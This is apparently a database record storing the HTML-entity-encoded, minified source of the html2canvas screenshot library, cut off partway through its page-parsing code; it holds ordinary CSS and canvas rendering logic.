(19, 1, 'screenshot', '["screenshot"]', '[]', '(function(window,document,undefined){var _html2canvas={},previousElement,computedCSS,html2canvas;_html2canvas.Util={};_html2canvas.Util.log=function(a){if(_html2canvas.logging&amp;&amp;window.console&amp;&amp;window.console.log){window.console.log(a)}};_html2canvas.Util.trimText=(function(isNative){return function(input){return isNative?isNative.apply(input):((input||&quot;&quot;)+&quot;&quot;).replace(/^\\s+|\\s+$/g,&quot;&quot;)}})(String.prototype.trim);_html2canvas.Util.asFloat=function(v){return parseFloat(v)};(function(){var TEXT_SHADOW_PROPERTY=/((rgba|rgb)\\([^\\)]+\\)(\\s-?\\d+px){0,})/g;var TEXT_SHADOW_VALUES=/(-?\\d+px)|(#.+)|(rgb\\(.+\\))|(rgba\\(.+\\))/g;_html2canvas.Util.parseTextShadows=function(value){if(!value||value===&quot;none&quot;){return[]}var shadows=value.match(TEXT_SHADOW_PROPERTY),results=[];for(var i=0;shadows&amp;&amp;(i&lt;shadows.length);i++){var s=shadows[i].match(TEXT_SHADOW_VALUES);results.push({color:s[0],offsetX:s[1]?s[1].replace(&quot;px&quot;,&quot;&quot;):0,offsetY:s[2]?s[2].replace(&quot;px&quot;,&quot;&quot;):0,blur:s[3]?s[3].replace(&quot;px&quot;,&quot;&quot;):0})}return results}})();_html2canvas.Util.parseBackgroundImage=function(value){var whitespace=&quot; \\r\\n\\t&quot;,method,definition,prefix,prefix_i,block,results=[],c,mode=0,numParen=0,quote,args;var appendResult=function(){if(method){if(definition.substr(0,1)===&#039;&quot;&#039;){definition=definition.substr(1,definition.length-2)}if(definition){args.push(definition)}if(method.substr(0,1)===&quot;-&quot;&amp;&amp;(prefix_i=method.indexOf(&quot;-&quot;,1)+1)&gt;0){prefix=method.substr(0,prefix_i);method=method.substr(prefix_i)}results.push({prefix:prefix,method:method.toLowerCase(),value:block,args:args})}args=[];method=prefix=definition=block=&quot;&quot;};appendResult();for(var i=0,ii=value.length;i&lt;ii;i++){c=value[i];if(mode===0&amp;&amp;whitespace.indexOf(c)&gt;-1){continue}switch(c){case&#039;&quot;&#039;:if(!quote){quote=c}else{if(quote===c){quote=null}}break;case&quot;(&quot;:if(quote){break}else{if(mode===0){mode=1;block+=c;continue}else{numParen++}}break;case&quot;)&quot;:if(quote){break}else{if(mode===1){if(numParen===0){mode=0;block+=c;appendResult();continue}else{numParen--}}}break;case&quot;,&quot;:if(quote){break}else{if(mode===0){appendResult();continue}else{if(mode===1){if(numParen===0&amp;&amp;!method.match(/^url$/i)){args.push(definition);definition=&quot;&quot;;block+=c;continue}}}}break}block+=c;if(mode===0){method+=c}else{definition+=c}}appendResult();return results};_html2canvas.Util.Bounds=function(element){var clientRect,bounds={};if(element.getBoundingClientRect){clientRect=element.getBoundingClientRect();bounds.top=clientRect.top;bounds.bottom=clientRect.bottom||(clientRect.top+clientRect.height);bounds.left=clientRect.left;bounds.width=element.offsetWidth;bounds.height=element.offsetHeight}return bounds};_html2canvas.Util.OffsetBounds=function(element){var parent=element.offsetParent?_html2canvas.Util.OffsetBounds(element.offsetParent):{top:0,left:0};return{top:element.offsetTop+parent.top,bottom:element.offsetTop+element.offsetHeight+parent.top,left:element.offsetLeft+parent.left,width:element.offsetWidth,height:element.offsetHeight}};function toPX(element,attribute,value){var rsLeft=element.runtimeStyle&amp;&amp;element.runtimeStyle[attribute],left,style=element.style;if(!/^-?[0-9]+\\.?[0-9]*(?:px)?$/i.test(value)&amp;&amp;/^-?\\d/.test(value)){left=style.left;if(rsLeft){element.runtimeStyle.left=element.currentStyle.left}style.left=attribute===&quot;fontSize&quot;?&quot;1em&quot;:(value||0);value=style.pixelLeft+&quot;px&quot;;style.left=left;if(rsLeft){element.runtimeStyle.left=rsLeft}}if(!/^(thin|medium|thick)$/i.test(value)){return Math.round(parseFloat(value))+&quot;px&quot;}return value}function asInt(val){return parseInt(val,10)}function parseBackgroundSizePosition(value,element,attribute,index){value=(value||&quot;&quot;).split(&quot;,&quot;);value=value[index||0]||value[0]||&quot;auto&quot;;value=_html2canvas.Util.trimText(value).split(&quot; &quot;);if(attribute===&quot;backgroundSize&quot;&amp;&amp;(!value[0]||value[0].match(/cover|contain|auto/))){}else{value[0]=(value[0].indexOf(&quot;%&quot;)===-1)?toPX(element,attribute+&quot;X&quot;,value[0]):value[0];if(value[1]===undefined){if(attribute===&quot;backgroundSize&quot;){value[1]=&quot;auto&quot;;return value}else{value[1]=value[0]}}value[1]=(value[1].indexOf(&quot;%&quot;)===-1)?toPX(element,attribute+&quot;Y&quot;,value[1]):value[1]}return value}_html2canvas.Util.getCSS=function(element,attribute,index){if(previousElement!==element){computedCSS=document.defaultView.getComputedStyle(element,null)}var value=computedCSS[attribute];if(/^background(Size|Position)$/.test(attribute)){return parseBackgroundSizePosition(value,element,attribute,index)}else{if(/border(Top|Bottom)(Left|Right)Radius/.test(attribute)){var arr=value.split(&quot; &quot;);if(arr.length&lt;=1){arr[1]=arr[0]}return arr.map(asInt)}}return value};_html2canvas.Util.resizeBounds=function(current_width,current_height,target_width,target_height,stretch_mode){var target_ratio=target_width/target_height,current_ratio=current_width/current_height,output_width,output_height;if(!stretch_mode||stretch_mode===&quot;auto&quot;){output_width=target_width;output_height=target_height}else{if(target_ratio&lt;current_ratio^stretch_mode===&quot;contain&quot;){output_height=target_height;output_width=target_height*current_ratio}else{output_width=target_width;\r\noutput_height=target_width/current_ratio}}return{width:output_width,height:output_height}};function backgroundBoundsFactory(prop,el,bounds,image,imageIndex,backgroundSize){var bgposition=_html2canvas.Util.getCSS(el,prop,imageIndex),topPos,left,percentage,val;if(bgposition.length===1){val=bgposition[0];bgposition=[];bgposition[0]=val;bgposition[1]=val}if(bgposition[0].toString().indexOf(&quot;%&quot;)!==-1){percentage=(parseFloat(bgposition[0])/100);left=bounds.width*percentage;if(prop!==&quot;backgroundSize&quot;){left-=(backgroundSize||image).width*percentage}}else{if(prop===&quot;backgroundSize&quot;){if(bgposition[0]===&quot;auto&quot;){left=image.width}else{if(/contain|cover/.test(bgposition[0])){var resized=_html2canvas.Util.resizeBounds(image.width,image.height,bounds.width,bounds.height,bgposition[0]);left=resized.width;topPos=resized.height}else{left=parseInt(bgposition[0],10)}}}else{left=parseInt(bgposition[0],10)}}if(bgposition[1]===&quot;auto&quot;){topPos=left/image.width*image.height}else{if(bgposition[1].toString().indexOf(&quot;%&quot;)!==-1){percentage=(parseFloat(bgposition[1])/100);topPos=bounds.height*percentage;if(prop!==&quot;backgroundSize&quot;){topPos-=(backgroundSize||image).height*percentage}}else{topPos=parseInt(bgposition[1],10)}}return[left,topPos]}_html2canvas.Util.BackgroundPosition=function(el,bounds,image,imageIndex,backgroundSize){var result=backgroundBoundsFactory(&quot;backgroundPosition&quot;,el,bounds,image,imageIndex,backgroundSize);return{left:result[0],top:result[1]}};_html2canvas.Util.BackgroundSize=function(el,bounds,image,imageIndex){var result=backgroundBoundsFactory(&quot;backgroundSize&quot;,el,bounds,image,imageIndex);return{width:result[0],height:result[1]}};_html2canvas.Util.Extend=function(options,defaults){for(var key in options){if(options.hasOwnProperty(key)){defaults[key]=options[key]}}return defaults};_html2canvas.Util.Children=function(elem){var children;try{children=(elem.nodeName&amp;&amp;elem.nodeName.toUpperCase()===&quot;IFRAME&quot;)?elem.contentDocument||elem.contentWindow.document:(function(array){var ret=[];if(array!==null){(function(first,second){var i=first.length,j=0;if(typeof second.length===&quot;number&quot;){for(var l=second.length;j&lt;l;j++){first[i++]=second[j]}}else{while(second[j]!==undefined){first[i++]=second[j++]}}first.length=i;return first})(ret,array)}return ret})(elem.childNodes)}catch(ex){_html2canvas.Util.log(&quot;html2canvas.Util.Children failed with exception: &quot;+ex.message);children=[]}return children};_html2canvas.Util.isTransparent=function(backgroundColor){return(backgroundColor===&quot;transparent&quot;||backgroundColor===&quot;rgba(0, 0, 0, 0)&quot;)};_html2canvas.Util.Font=(function(){var fontData={};return function(font,fontSize,doc){if(fontData[font+&quot;-&quot;+fontSize]!==undefined){return fontData[font+&quot;-&quot;+fontSize]}var container=doc.createElement(&quot;div&quot;),img=doc.createElement(&quot;img&quot;),span=doc.createElement(&quot;span&quot;),sampleText=&quot;Hidden Text&quot;,baseline,middle,metricsObj;container.style.visibility=&quot;hidden&quot;;container.style.fontFamily=font;container.style.fontSize=fontSize;container.style.margin=0;container.style.padding=0;doc.body.appendChild(container);img.src=&quot;data:image/gif;base64,R0lGODlhAQABAIABAP///wAAACwAAAAAAQABAAACAkQBADs=&quot;;img.width=1;img.height=1;img.style.margin=0;img.style.padding=0;img.style.verticalAlign=&quot;baseline&quot;;span.style.fontFamily=font;span.style.fontSize=fontSize;span.style.margin=0;span.style.padding=0;span.appendChild(doc.createTextNode(sampleText));container.appendChild(span);container.appendChild(img);baseline=(img.offsetTop-span.offsetTop)+1;container.removeChild(span);container.appendChild(doc.createTextNode(sampleText));container.style.lineHeight=&quot;normal&quot;;img.style.verticalAlign=&quot;super&quot;;middle=(img.offsetTop-container.offsetTop)+1;metricsObj={baseline:baseline,lineWidth:1,middle:middle};fontData[font+&quot;-&quot;+fontSize]=metricsObj;doc.body.removeChild(container);return metricsObj}})();(function(){var Util=_html2canvas.Util,Generate={};_html2canvas.Generate=Generate;var reGradients=[/^(-webkit-linear-gradient)\\(([a-z\\s]+)([\\w\\d\\.\\s,%\\(\\)]+)\\)$/,/^(-o-linear-gradient)\\(([a-z\\s]+)([\\w\\d\\.\\s,%\\(\\)]+)\\)$/,/^(-webkit-gradient)\\((linear|radial),\\s((?:\\d{1,3}%?)\\s(?:\\d{1,3}%?),\\s(?:\\d{1,3}%?)\\s(?:\\d{1,3}%?))([\\w\\d\\.\\s,%\\(\\)\\-]+)\\)$/,/^(-moz-linear-gradient)\\(((?:\\d{1,3}%?)\\s(?:\\d{1,3}%?))([\\w\\d\\.\\s,%\\(\\)]+)\\)$/,/^(-webkit-radial-gradient)\\(((?:\\d{1,3}%?)\\s(?:\\d{1,3}%?)),\\s(\\w+)\\s([a-z\\-]+)([\\w\\d\\.\\s,%\\(\\)]+)\\)$/,/^(-moz-radial-gradient)\\(((?:\\d{1,3}%?)\\s(?:\\d{1,3}%?)),\\s(\\w+)\\s?([a-z\\-]*)([\\w\\d\\.\\s,%\\(\\)]+)\\)$/,/^(-o-radial-gradient)\\(((?:\\d{1,3}%?)\\s(?:\\d{1,3}%?)),\\s(\\w+)\\s([a-z\\-]+)([\\w\\d\\.\\s,%\\(\\)]+)\\)$/];Generate.parseGradient=function(css,bounds){var gradient,i,len=reGradients.length,m1,stop,m2,m2Len,step,m3,tl,tr,br,bl;for(i=0;i&lt;len;i+=1){m1=css.match(reGradients[i]);if(m1){break}}if(m1){switch(m1[1]){case&quot;-webkit-linear-gradient&quot;:case&quot;-o-linear-gradient&quot;:gradient={type:&quot;linear&quot;,x0:null,y0:null,x1:null,y1:null,colorStops:[]};m2=m1[2].match(/\\w+/g);if(m2){m2Len=m2.length;for(i=0;i&lt;m2Len;i+=1){switch(m2[i]){case&quot;top&quot;:gradient.y0=0;gradient.y1=bounds.height;\r\nbreak;case&quot;right&quot;:gradient.x0=bounds.width;gradient.x1=0;break;case&quot;bottom&quot;:gradient.y0=bounds.height;gradient.y1=0;break;case&quot;left&quot;:gradient.x0=0;gradient.x1=bounds.width;break}}}if(gradient.x0===null&amp;&amp;gradient.x1===null){gradient.x0=gradient.x1=bounds.width/2}if(gradient.y0===null&amp;&amp;gradient.y1===null){gradient.y0=gradient.y1=bounds.height/2}m2=m1[3].match(/((?:rgb|rgba)\\(\\d{1,3},\\s\\d{1,3},\\s\\d{1,3}(?:,\\s[0-9\\.]+)?\\)(?:\\s\\d{1,3}(?:%|px))?)+/g);if(m2){m2Len=m2.length;step=1/Math.max(m2Len-1,1);for(i=0;i&lt;m2Len;i+=1){m3=m2[i].match(/((?:rgb|rgba)\\(\\d{1,3},\\s\\d{1,3},\\s\\d{1,3}(?:,\\s[0-9\\.]+)?\\))\\s*(\\d{1,3})?(%|px)?/);if(m3[2]){stop=parseFloat(m3[2]);if(m3[3]===&quot;%&quot;){stop/=100}else{stop/=bounds.width}}else{stop=i*step}gradient.colorStops.push({color:m3[1],stop:stop})}}break;case&quot;-webkit-gradient&quot;:gradient={type:m1[2]===&quot;radial&quot;?&quot;circle&quot;:m1[2],x0:0,y0:0,x1:0,y1:0,colorStops:[]};m2=m1[3].match(/(\\d{1,3})%?\\s(\\d{1,3})%?,\\s(\\d{1,3})%?\\s(\\d{1,3})%?/);if(m2){gradient.x0=(m2[1]*bounds.width)/100;gradient.y0=(m2[2]*bounds.height)/100;gradient.x1=(m2[3]*bounds.width)/100;gradient.y1=(m2[4]*bounds.height)/100}m2=m1[4].match(/((?:from|to|color-stop)\\((?:[0-9\\.]+,\\s)?(?:rgb|rgba)\\(\\d{1,3},\\s\\d{1,3},\\s\\d{1,3}(?:,\\s[0-9\\.]+)?\\)\\))+/g);if(m2){m2Len=m2.length;for(i=0;i&lt;m2Len;i+=1){m3=m2[i].match(/(from|to|color-stop)\\(([0-9\\.]+)?(?:,\\s)?((?:rgb|rgba)\\(\\d{1,3},\\s\\d{1,3},\\s\\d{1,3}(?:,\\s[0-9\\.]+)?\\))\\)/);stop=parseFloat(m3[2]);if(m3[1]===&quot;from&quot;){stop=0}if(m3[1]===&quot;to&quot;){stop=1}gradient.colorStops.push({color:m3[3],stop:stop})}}break;case&quot;-moz-linear-gradient&quot;:gradient={type:&quot;linear&quot;,x0:0,y0:0,x1:0,y1:0,colorStops:[]};m2=m1[2].match(/(\\d{1,3})%?\\s(\\d{1,3})%?/);if(m2){gradient.x0=(m2[1]*bounds.width)/100;gradient.y0=(m2[2]*bounds.height)/100;gradient.x1=bounds.width-gradient.x0;gradient.y1=bounds.height-gradient.y0}m2=m1[3].match(/((?:rgb|rgba)\\(\\d{1,3},\\s\\d{1,3},\\s\\d{1,3}(?:,\\s[0-9\\.]+)?\\)(?:\\s\\d{1,3}%)?)+/g);if(m2){m2Len=m2.length;step=1/Math.max(m2Len-1,1);for(i=0;i&lt;m2Len;i+=1){m3=m2[i].match(/((?:rgb|rgba)\\(\\d{1,3},\\s\\d{1,3},\\s\\d{1,3}(?:,\\s[0-9\\.]+)?\\))\\s*(\\d{1,3})?(%)?/);if(m3[2]){stop=parseFloat(m3[2]);if(m3[3]){stop/=100}}else{stop=i*step}gradient.colorStops.push({color:m3[1],stop:stop})}}break;case&quot;-webkit-radial-gradient&quot;:case&quot;-moz-radial-gradient&quot;:case&quot;-o-radial-gradient&quot;:gradient={type:&quot;circle&quot;,x0:0,y0:0,x1:bounds.width,y1:bounds.height,cx:0,cy:0,rx:0,ry:0,colorStops:[]};m2=m1[2].match(/(\\d{1,3})%?\\s(\\d{1,3})%?/);if(m2){gradient.cx=(m2[1]*bounds.width)/100;gradient.cy=(m2[2]*bounds.height)/100}m2=m1[3].match(/\\w+/);m3=m1[4].match(/[a-z\\-]*/);if(m2&amp;&amp;m3){switch(m3[0]){case&quot;farthest-corner&quot;:case&quot;cover&quot;:case&quot;&quot;:tl=Math.sqrt(Math.pow(gradient.cx,2)+Math.pow(gradient.cy,2));tr=Math.sqrt(Math.pow(gradient.cx,2)+Math.pow(gradient.y1-gradient.cy,2));br=Math.sqrt(Math.pow(gradient.x1-gradient.cx,2)+Math.pow(gradient.y1-gradient.cy,2));bl=Math.sqrt(Math.pow(gradient.x1-gradient.cx,2)+Math.pow(gradient.cy,2));gradient.rx=gradient.ry=Math.max(tl,tr,br,bl);break;case&quot;closest-corner&quot;:tl=Math.sqrt(Math.pow(gradient.cx,2)+Math.pow(gradient.cy,2));tr=Math.sqrt(Math.pow(gradient.cx,2)+Math.pow(gradient.y1-gradient.cy,2));br=Math.sqrt(Math.pow(gradient.x1-gradient.cx,2)+Math.pow(gradient.y1-gradient.cy,2));bl=Math.sqrt(Math.pow(gradient.x1-gradient.cx,2)+Math.pow(gradient.cy,2));gradient.rx=gradient.ry=Math.min(tl,tr,br,bl);break;case&quot;farthest-side&quot;:if(m2[0]===&quot;circle&quot;){gradient.rx=gradient.ry=Math.max(gradient.cx,gradient.cy,gradient.x1-gradient.cx,gradient.y1-gradient.cy)}else{gradient.type=m2[0];gradient.rx=Math.max(gradient.cx,gradient.x1-gradient.cx);gradient.ry=Math.max(gradient.cy,gradient.y1-gradient.cy)}break;case&quot;closest-side&quot;:case&quot;contain&quot;:if(m2[0]===&quot;circle&quot;){gradient.rx=gradient.ry=Math.min(gradient.cx,gradient.cy,gradient.x1-gradient.cx,gradient.y1-gradient.cy)}else{gradient.type=m2[0];gradient.rx=Math.min(gradient.cx,gradient.x1-gradient.cx);gradient.ry=Math.min(gradient.cy,gradient.y1-gradient.cy)}break}}m2=m1[5].match(/((?:rgb|rgba)\\(\\d{1,3},\\s\\d{1,3},\\s\\d{1,3}(?:,\\s[0-9\\.]+)?\\)(?:\\s\\d{1,3}(?:%|px))?)+/g);if(m2){m2Len=m2.length;step=1/Math.max(m2Len-1,1);for(i=0;i&lt;m2Len;i+=1){m3=m2[i].match(/((?:rgb|rgba)\\(\\d{1,3},\\s\\d{1,3},\\s\\d{1,3}(?:,\\s[0-9\\.]+)?\\))\\s*(\\d{1,3})?(%|px)?/);if(m3[2]){stop=parseFloat(m3[2]);if(m3[3]===&quot;%&quot;){stop/=100}else{stop/=bounds.width}}else{stop=i*step}gradient.colorStops.push({color:m3[1],stop:stop})}}break}}return gradient};function addScrollStops(grad){return function(colorStop){try{grad.addColorStop(colorStop.stop,colorStop.color)}catch(e){Util.log([&quot;failed to add color stop: &quot;,e,&quot;; tried to add: &quot;,colorStop])}}}Generate.Gradient=function(src,bounds){if(bounds.width===0||bounds.height===0){return}var canvas=document.createElement(&quot;canvas&quot;),ctx=canvas.getContext(&quot;2d&quot;),gradient,grad;canvas.width=bounds.width;canvas.height=bounds.height;gradient=_html2canvas.Generate.parseGradient(src,bounds);if(gradient){switch(gradient.type){case&quot;linear&quot;:grad=ctx.createLinearGradient(gradient.x0,gradient.y0,gradient.x1,gradient.y1);\r\ngradient.colorStops.forEach(addScrollStops(grad));ctx.fillStyle=grad;ctx.fillRect(0,0,bounds.width,bounds.height);break;case&quot;circle&quot;:grad=ctx.createRadialGradient(gradient.cx,gradient.cy,0,gradient.cx,gradient.cy,gradient.rx);gradient.colorStops.forEach(addScrollStops(grad));ctx.fillStyle=grad;ctx.fillRect(0,0,bounds.width,bounds.height);break;case&quot;ellipse&quot;:var canvasRadial=document.createElement(&quot;canvas&quot;),ctxRadial=canvasRadial.getContext(&quot;2d&quot;),ri=Math.max(gradient.rx,gradient.ry),di=ri*2;canvasRadial.width=canvasRadial.height=di;grad=ctxRadial.createRadialGradient(gradient.rx,gradient.ry,0,gradient.rx,gradient.ry,ri);gradient.colorStops.forEach(addScrollStops(grad));ctxRadial.fillStyle=grad;ctxRadial.fillRect(0,0,di,di);ctx.fillStyle=gradient.colorStops[gradient.colorStops.length-1].color;ctx.fillRect(0,0,canvas.width,canvas.height);ctx.drawImage(canvasRadial,gradient.cx-gradient.rx,gradient.cy-gradient.ry,2*gradient.rx,2*gradient.ry);break}}return canvas};Generate.ListAlpha=function(number){var tmp=&quot;&quot;,modulus;do{modulus=number%26;tmp=String.fromCharCode((modulus)+64)+tmp;number=number/26}while((number*26)&gt;26);return tmp};Generate.ListRoman=function(number){var romanArray=[&quot;M&quot;,&quot;CM&quot;,&quot;D&quot;,&quot;CD&quot;,&quot;C&quot;,&quot;XC&quot;,&quot;L&quot;,&quot;XL&quot;,&quot;X&quot;,&quot;IX&quot;,&quot;V&quot;,&quot;IV&quot;,&quot;I&quot;],decimal=[1000,900,500,400,100,90,50,40,10,9,5,4,1],roman=&quot;&quot;,v,len=romanArray.length;if(number&lt;=0||number&gt;=4000){return number}for(v=0;v&lt;len;v+=1){while(number&gt;=decimal[v]){number-=decimal[v];roman+=romanArray[v]}}return roman}})();function h2cRenderContext(width,height){var storage=[];return{storage:storage,width:width,height:height,clip:function(){storage.push({type:&quot;function&quot;,name:&quot;clip&quot;,&quot;arguments&quot;:arguments})},translate:function(){storage.push({type:&quot;function&quot;,name:&quot;translate&quot;,&quot;arguments&quot;:arguments})},fill:function(){storage.push({type:&quot;function&quot;,name:&quot;fill&quot;,&quot;arguments&quot;:arguments})},save:function(){storage.push({type:&quot;function&quot;,name:&quot;save&quot;,&quot;arguments&quot;:arguments})},restore:function(){storage.push({type:&quot;function&quot;,name:&quot;restore&quot;,&quot;arguments&quot;:arguments})},fillRect:function(){storage.push({type:&quot;function&quot;,name:&quot;fillRect&quot;,&quot;arguments&quot;:arguments})},createPattern:function(){storage.push({type:&quot;function&quot;,name:&quot;createPattern&quot;,&quot;arguments&quot;:arguments})},drawShape:function(){var shape=[];storage.push({type:&quot;function&quot;,name:&quot;drawShape&quot;,&quot;arguments&quot;:shape});return{moveTo:function(){shape.push({name:&quot;moveTo&quot;,&quot;arguments&quot;:arguments})},lineTo:function(){shape.push({name:&quot;lineTo&quot;,&quot;arguments&quot;:arguments})},arcTo:function(){shape.push({name:&quot;arcTo&quot;,&quot;arguments&quot;:arguments})},bezierCurveTo:function(){shape.push({name:&quot;bezierCurveTo&quot;,&quot;arguments&quot;:arguments})},quadraticCurveTo:function(){shape.push({name:&quot;quadraticCurveTo&quot;,&quot;arguments&quot;:arguments})}}},drawImage:function(){storage.push({type:&quot;function&quot;,name:&quot;drawImage&quot;,&quot;arguments&quot;:arguments})},fillText:function(){storage.push({type:&quot;function&quot;,name:&quot;fillText&quot;,&quot;arguments&quot;:arguments})},setVariable:function(variable,value){storage.push({type:&quot;variable&quot;,name:variable,&quot;arguments&quot;:value});return value}}}_html2canvas.Parse=function(images,options){window.scroll(0,0);var element=((options.elements===undefined)?document.body:options.elements[0]),numDraws=0,doc=element.ownerDocument,Util=_html2canvas.Util,support=Util.Support(options,doc),ignoreElementsRegExp=new RegExp(&quot;(&quot;+options.ignoreElements+&quot;)&quot;),body=doc.body,getCSS=Util.getCSS,pseudoHide=&quot;___html2canvas___pseudoelement&quot;,hidePseudoElements=doc.createElement(&quot;style&quot;);hidePseudoElements.innerHTML=&quot;.&quot;+pseudoHide+&#039;-before:before { content: &quot;&quot; !important; display: none !important; }&#039;+&quot;.&quot;+pseudoHide+&#039;-after:after { content: &quot;&quot; !important; display: none !important; }&#039;;body.appendChild(hidePseudoElements);images=images||{};function documentWidth(){return Math.max(Math.max(doc.body.scrollWidth,doc.documentElement.scrollWidth),Math.max(doc.body.offsetWidth,doc.documentElement.offsetWidth),Math.max(doc.body.clientWidth,doc.documentElement.clientWidth))}function documentHeight(){return Math.max(Math.max(doc.body.scrollHeight,doc.documentElement.scrollHeight),Math.max(doc.body.offsetHeight,doc.documentElement.offsetHeight),Math.max(doc.body.clientHeight,doc.documentElement.clientHeight))}function getCSSInt(element,attribute){var val=parseInt(getCSS(element,attribute),10);return(isNaN(val))?0:val}function renderRect(ctx,x,y,w,h,bgcolor){if(bgcolor!==&quot;transparent&quot;){ctx.setVariable(&quot;fillStyle&quot;,bgcolor);ctx.fillRect(x,y,w,h);numDraws+=1}}function capitalize(m,p1,p2){if(m.length&gt;0){return p1+p2.toUpperCase()}}function textTransform(text,transform){switch(transform){case&quot;lowercase&quot;:return text.toLowerCase();case&quot;capitalize&quot;:return text.replace(/(^|\\s|:|-|\\(|\\))([a-z])/g,capitalize);case&quot;uppercase&quot;:return text.toUpperCase();default:return text}}function noLetterSpacing(letter_spacing){return(/^(normal|none|0px)$/.test(letter_spacing))}function drawText(currentText,x,y,ctx){if(currentText!==null&amp;&amp;Util.trimText(currentText).length&gt;0){ctx.fillText(currentText,x,y);numDraws+=1}}function setTextVariables(ctx,el,text_decoration,color){var align=false,bold=getCSS(el,&quot;fontWeight&quot;),family=getCSS(el,&quot;fontFamily&quot;),size=getCSS(el,&quot;fontSize&quot;),shadows=Util.parseTextShadows(getCSS(el,&quot;textShadow&quot;));\r\nswitch(parseInt(bold,10)){case 401:bold=&quot;bold&quot;;break;case 400:bold=&quot;normal&quot;;break}ctx.setVariable(&quot;fillStyle&quot;,color);ctx.setVariable(&quot;font&quot;,[getCSS(el,&quot;fontStyle&quot;),getCSS(el,&quot;fontVariant&quot;),bold,size,family].join(&quot; &quot;));ctx.setVariable(&quot;textAlign&quot;,(align)?&quot;right&quot;:&quot;left&quot;);if(shadows.length){ctx.setVariable(&quot;shadowColor&quot;,shadows[0].color);ctx.setVariable(&quot;shadowOffsetX&quot;,shadows[0].offsetX);ctx.setVariable(&quot;shadowOffsetY&quot;,shadows[0].offsetY);ctx.setVariable(&quot;shadowBlur&quot;,shadows[0].blur)}if(text_decoration!==&quot;none&quot;){return Util.Font(family,size,doc)}}function renderTextDecoration(ctx,text_decoration,bounds,metrics,color){switch(text_decoration){case&quot;underline&quot;:renderRect(ctx,bounds.left,Math.round(bounds.top+metrics.baseline+metrics.lineWidth),bounds.width,1,color);break;case&quot;overline&quot;:renderRect(ctx,bounds.left,Math.round(bounds.top),bounds.width,1,color);break;case&quot;line-through&quot;:renderRect(ctx,bounds.left,Math.ceil(bounds.top+metrics.middle+metrics.lineWidth),bounds.width,1,color);break}}function getTextBounds(state,text,textDecoration,isLast,transform){var bounds;if(support.rangeBounds&amp;&amp;!transform){if(textDecoration!==&quot;none&quot;||Util.trimText(text).length!==0){bounds=textRangeBounds(text,state.node,state.textOffset)}state.textOffset+=text.length}else{if(state.node&amp;&amp;typeof state.node.nodeValue===&quot;string&quot;){var newTextNode=(isLast)?state.node.splitText(text.length):null;bounds=textWrapperBounds(state.node,transform);state.node=newTextNode}}return bounds}function textRangeBounds(text,textNode,textOffset){var range=doc.createRange();range.setStart(textNode,textOffset);range.setEnd(textNode,textOffset+text.length);return range.getBoundingClientRect()}function textWrapperBounds(oldTextNode,transform){var parent=oldTextNode.parentNode,wrapElement=doc.createElement(&quot;wrapper&quot;),backupText=oldTextNode.cloneNode(true);wrapElement.appendChild(oldTextNode.cloneNode(true));parent.replaceChild(wrapElement,oldTextNode);var bounds=transform?Util.OffsetBounds(wrapElement):Util.Bounds(wrapElement);parent.replaceChild(backupText,wrapElement);return bounds}function renderText(el,textNode,stack){var ctx=stack.ctx,color=getCSS(el,&quot;color&quot;),textDecoration=getCSS(el,&quot;textDecoration&quot;),textAlign=getCSS(el,&quot;textAlign&quot;),metrics,textList,state={node:textNode,textOffset:0};if(Util.trimText(textNode.nodeValue).length&gt;0){textNode.nodeValue=textTransform(textNode.nodeValue,getCSS(el,&quot;textTransform&quot;));textAlign=textAlign.replace([&quot;-webkit-auto&quot;],[&quot;auto&quot;]);textList=(!options.letterRendering&amp;&amp;/^(left|right|justify|auto)$/.test(textAlign)&amp;&amp;noLetterSpacing(getCSS(el,&quot;letterSpacing&quot;)))?textNode.nodeValue.split(/(\\b| )/):textNode.nodeValue.split(&quot;&quot;);metrics=setTextVariables(ctx,el,textDecoration,color);if(options.chinese){textList.forEach(function(word,index){if(/.*[\\u4E00-\\u9FA5].*$/.test(word)){word=word.split(&quot;&quot;);word.unshift(index,1);textList.splice.apply(textList,word)}})}textList.forEach(function(text,index){var bounds=getTextBounds(state,text,textDecoration,(index&lt;textList.length-1),stack.transform.matrix);if(bounds){drawText(text,bounds.left,bounds.bottom,ctx);renderTextDecoration(ctx,textDecoration,bounds,metrics,color)}})}}function listPosition(element,val){var boundElement=doc.createElement(&quot;boundelement&quot;),originalType,bounds;boundElement.style.display=&quot;inline&quot;;originalType=element.style.listStyleType;element.style.listStyleType=&quot;none&quot;;boundElement.appendChild(doc.createTextNode(val));element.insertBefore(boundElement,element.firstChild);bounds=Util.Bounds(boundElement);element.removeChild(boundElement);element.style.listStyleType=originalType;return bounds}function elementIndex(el){var i=-1,count=1,childs=el.parentNode.childNodes;if(el.parentNode){while(childs[++i]!==el){if(childs[i].nodeType===1){count++}}return count}else{return -1}}function listItemText(element,type){var currentIndex=elementIndex(element),text;switch(type){case&quot;decimal&quot;:text=currentIndex;break;case&quot;decimal-leading-zero&quot;:text=(currentIndex.toString().length===1)?currentIndex=&quot;0&quot;+currentIndex.toString():currentIndex.toString();break;case&quot;upper-roman&quot;:text=_html2canvas.Generate.ListRoman(currentIndex);break;case&quot;lower-roman&quot;:text=_html2canvas.Generate.ListRoman(currentIndex).toLowerCase();break;case&quot;lower-alpha&quot;:text=_html2canvas.Generate.ListAlpha(currentIndex).toLowerCase();break;case&quot;upper-alpha&quot;:text=_html2canvas.Generate.ListAlpha(currentIndex);break}return text+&quot;. &quot;}function renderListItem(element,stack,elBounds){var x,text,ctx=stack.ctx,type=getCSS(element,&quot;listStyleType&quot;),listBounds;if(/^(decimal|decimal-leading-zero|upper-alpha|upper-latin|upper-roman|lower-alpha|lower-greek|lower-latin|lower-roman)$/i.test(type)){text=listItemText(element,type);listBounds=listPosition(element,text);setTextVariables(ctx,element,&quot;none&quot;,getCSS(element,&quot;color&quot;));if(getCSS(element,&quot;listStylePosition&quot;)===&quot;inside&quot;){ctx.setVariable(&quot;textAlign&quot;,&quot;left&quot;);x=elBounds.left}else{return}drawText(text,x,listBounds.bottom,ctx)}}function loadImage(src){var img=images[src];return(img&amp;&amp;img.succeeded===true)?img.img:false\r\n}function clipBounds(src,dst){var x=Math.max(src.left,dst.left),y=Math.max(src.top,dst.top),x2=Math.min((src.left+src.width),(dst.left+dst.width)),y2=Math.min((src.top+src.height),(dst.top+dst.height));return{left:x,top:y,width:x2-x,height:y2-y}}function setZ(element,stack,parentStack){var 